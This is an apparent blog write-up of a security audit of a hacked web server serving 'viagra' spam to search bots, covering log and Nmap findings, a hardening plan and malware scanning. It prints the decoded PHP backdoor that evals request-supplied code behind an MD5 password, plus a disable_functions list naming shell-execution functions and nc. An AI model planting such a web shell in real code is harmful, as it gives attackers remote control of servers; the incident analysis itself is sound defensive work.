Security audit of a web server

Security audit of a web server
A website was hacked and was in the first positions with the keyword "viagra" when searching on google. In fact, the website was "changed" only for bots (like googlebot), that's why the search results was modified. The team in charge of this server asked me to analyse the problem.This article describes the main tasks I've made to detect and correct this problem. My final recommendation was to rethink the architecture in order to improve the security and, also, add tools to automatically detect Rootkit or Web shell kit thanks to Linux Malware Detect.

Search procedure

  • Log analysis (/var/log)
  • Identification of a backdoor (compat.php)
  • Code analysis
    • Authenticated access with an encoded MD5 password
    • Backdoor code was inside function gzinflate(base64_decode(*)) inside the "compat.php" file
    • Backdoor analysis (decoding with
    • MD5 password : ff6cb56b876eedf90b5bca2c0a210f91
  • Nmap analysis from outside :
 Not shown: 999 open|filtered ports, 997 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.2 80/tcp open http Apache httpd 2.2.8 ((Unix) PHP/5.2.5) |_http-favicon: Unknown favicon MD5: 3AD8FECBDE088AF038C26EE5A5F40D5B | http-methods: GET HEAD POST OPTIONS TRACE | Potentially risky methods: TRACE |_See |_http-title: Site doesn't have a title (text/html). 8080/tcp closed http-proxy 4672/udp closed rfa 

The backdoor

Was giving a total access on th server with a list of known exploits, system access and the list of disabled functions under PHP. So we could say that our hacker was very nice, he could have made a lot of damages if he wanted... Much more than changing our website with "viagra" ads.

Inside /var/www :

grep -R * -e 'gzipinflate(base64'

This command gave me 6 files that was compromised with a copy of the backdoor.

System side

Very old OS version with no updates at all

Very old version of apache web server : 2.0.52 (24 mai 2006)

Application side

Old version of spip, I think the hacker used a common exploit under SPIP to hack the server.

Some basic tasks to detect common things

Use a RootKit detection software like chkrootkit

Web Shell Detector (

    • Several malicious code discovered
    • Code base 64 encoded :

Which translates to :

 if(isset($_REQUEST['ch']) && (md5($_REQUEST['ch']) == '74253b516236b5ffbe3571e3b913b36a') && isset($_REQUEST['php_code'])) { eval($_REQUEST['php_code']); exit(); } 

Interesting information about this type of code :

Emergency action plan

  • Block FTP access and just permits 80 or 443 port to the final Web server
  • Block IP from suspicious places
  • Do a grep search (base64_decode and gzip_inflate) on all the filesystem of the server and remove dangerous script and code
  • Then reinstall the server (unique solution to be sure everything is ok again)
    • With a recent version of apache (with automatic updates)
    • WIth a recent kernel
    • If really necessary : ftps (or sftp) access with chroot with a strong policy concerning passwords
    • With automatic backup of DocumentRoot on svn (easier to see differences if necessary)
  • Remove system commands that are "dangerous" with yum remove or rm for make :
    • gcc, make, nc
  • Disable PHP functions like "eval" inside php.ini :
    • disable_functions=exec,eval,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

New architecture

  • Reverse proxy installation with Apache or Nginx in DMZ
  • FInal apache server with mod_security and/or mod_evasive
  • FTP access inside a reverse proxy with Pydio (formerly ajaxplorer) under SSL

Linux Malware Detect

chmod +x install.php 
maldet -u 
maldet -p 
maldet -a /var/www/ 
maldet --report 
maldet --clean 100713-1111.16205 

Cron planification of maldet with email in case of Rootkit or Web Shell detection

Completed in EN on Oct 14, 2014